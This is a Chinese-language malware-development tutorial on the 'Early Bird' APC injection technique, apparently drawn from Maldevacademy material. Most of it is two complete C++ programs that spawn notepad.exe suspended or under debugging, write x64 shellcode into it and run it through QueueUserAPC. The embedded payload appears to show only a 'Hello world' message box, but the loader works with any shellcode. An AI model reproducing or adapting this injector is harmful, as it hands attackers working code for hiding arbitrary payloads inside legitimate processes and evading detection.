一、介绍
QueueUserAPC
用于执行本地 APC 注入,APC 注入利用需要一个已挂起或可警报的线程才能成功执行 Payload。但是很难碰到处于这些状态的线程,尤其是以普通用户权限运行的线程,而Early Bird注入则是利用CreateProcess
WinAPI 创建一个挂起的进程,并使用其挂起线程的句柄。挂起的线程符合 APC 注入的使用条件。
二、实现步骤
1、使用CreateProcessA函数创建一个挂起CREATE_SUSPENDED的进程
2、使用VirtualAllocEx在创建的进程当中申请一片内存
3、使用WriteProcessMemory将shellcode写入申请的内存当中
4、使用QueueUserAPC插入到该进程的主线程
5、使用ResumeThread恢复线程
三、代码实现
实现过程当注意:
CreateProcessA
需要 ANSI 版本的 STARTUPINFO
(即 STARTUPINFOA
),而传递了 Unicode 版本的 STARTUPINFO
。通过将 STARTUPINFO
更改为 STARTUPINFOA
#include <windows.h> #include <iostream>unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00" "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8" "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00" "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33" "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00" "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D" "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B" "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61" "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33" "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F" "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00" "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F" "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60" "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24" "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27" "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7" "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33" "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C" "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED" "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45" "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C" "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48" "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6" "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B" "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B" "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C" "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44" "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6" "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";BOOL BirdAPC(LPCSTR lpProcessName) {STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };// 初始化 STARTUPINFO 和 PROCESS_INFORMATION 结构ZeroMemory(&si, sizeof(STARTUPINFOA)); // 使用 ZeroMemory 清零ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));// 设置 STARTUPINFO 结构si.cb = sizeof(STARTUPINFOA);// 创建挂起的进程if (!CreateProcessA(lpProcessName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {std::cerr << "CreateProcessA failed with error: " << GetLastError() << std::endl;return FALSE;}// 分配内存空间用于 shellcodeLPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (lpBaseAddress == NULL) {std::cerr << "VirtualAllocEx failed with error: " << GetLastError() << std::endl;return FALSE;}// 写入 shellcode 到进程内存if (!WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL)) {std::cerr << "WriteProcessMemory failed with error: " << GetLastError() << std::endl;return FALSE;}// 将 shellcode 执行排入线程if (!QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL)) {std::cerr << "QueueUserAPC failed with error: " << GetLastError() << std::endl;return FALSE;}// 恢复线程ResumeThread(pi.hThread);// 清理资源CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return TRUE; }int main() {if (BirdAPC("C:\\Windows\\System32\\notepad.exe")) {std::cout << "BirdAPC Success!" << std::endl;}else {std::cerr << "BirdAPC Failed!" << std::endl;}return 0; }
另外一种实现:
DEBUG_PROCESS
标志将新进程创建为调试进程,并将本地进程设为其调试器。当一个进程作为调试进程创建时,一个断点将被置于进程入口点中。这个断点将暂停进程,并等待恢复执行有效载荷将被注入到目标进程中,通过 QueueUserAPC
WinAPI 来执行。一旦有效载荷被注入,并且远程调试线程被排入队列以运行有效载荷,本地进程可以使用 DebugActiveProcessWinAPI 从目标进程中分离,该 API 将停止远程进程的调试功能
#include <windows.h> #include <iostream>unsigned char shellcode[] = "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00" "\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8" "\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00" "\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33" "\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00" "\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D" "\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B" "\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61" "\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33" "\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F" "\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00" "\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F" "\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60" "\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24" "\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27" "\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7" "\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33" "\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C" "\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED" "\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45" "\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C" "\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48" "\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6" "\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B" "\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B" "\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C" "\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44" "\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6" "\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";BOOL BirdAPC(LPCSTR lpProcessName) {STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };// 初始化 STARTUPINFO 和 PROCESS_INFORMATION 结构ZeroMemory(&si, sizeof(STARTUPINFOA)); // 使用 ZeroMemory 清零ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));// 设置 STARTUPINFO 结构si.cb = sizeof(STARTUPINFOA);// 创建挂起的进程if (!CreateProcessA(lpProcessName, NULL, NULL, NULL, FALSE, DEBUG_PROCESS, NULL, NULL, &si, &pi)) {std::cerr << "CreateProcessA failed with error: " << GetLastError() << std::endl;return FALSE;}// 分配内存空间用于 shellcodeLPVOID lpBaseAddress = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (lpBaseAddress == NULL) {std::cerr << "VirtualAllocEx failed with error: " << GetLastError() << std::endl;return FALSE;}// 写入 shellcode 到进程内存if (!WriteProcessMemory(pi.hProcess, lpBaseAddress, shellcode, sizeof(shellcode), NULL)) {std::cerr << "WriteProcessMemory failed with error: " << GetLastError() << std::endl;return FALSE;}// 将 shellcode 执行排入线程if (!QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL)) {std::cerr << "QueueUserAPC failed with error: " << GetLastError() << std::endl;return FALSE;}DebugActiveProcessStop(pi.dwProcessId);CloseHandle(pi.hProcess);return TRUE; }int main() {if (BirdAPC("C:\\Windows\\System32\\notepad.exe")) {std::cout << "BirdAPC Success!" << std::endl;}else {std::cerr << "BirdAPC Failed!" << std::endl;}return 0; }
参考链接:
https://idiotc4t.com/code-and-dll-process-injection/early-bird
《Maldevacademy》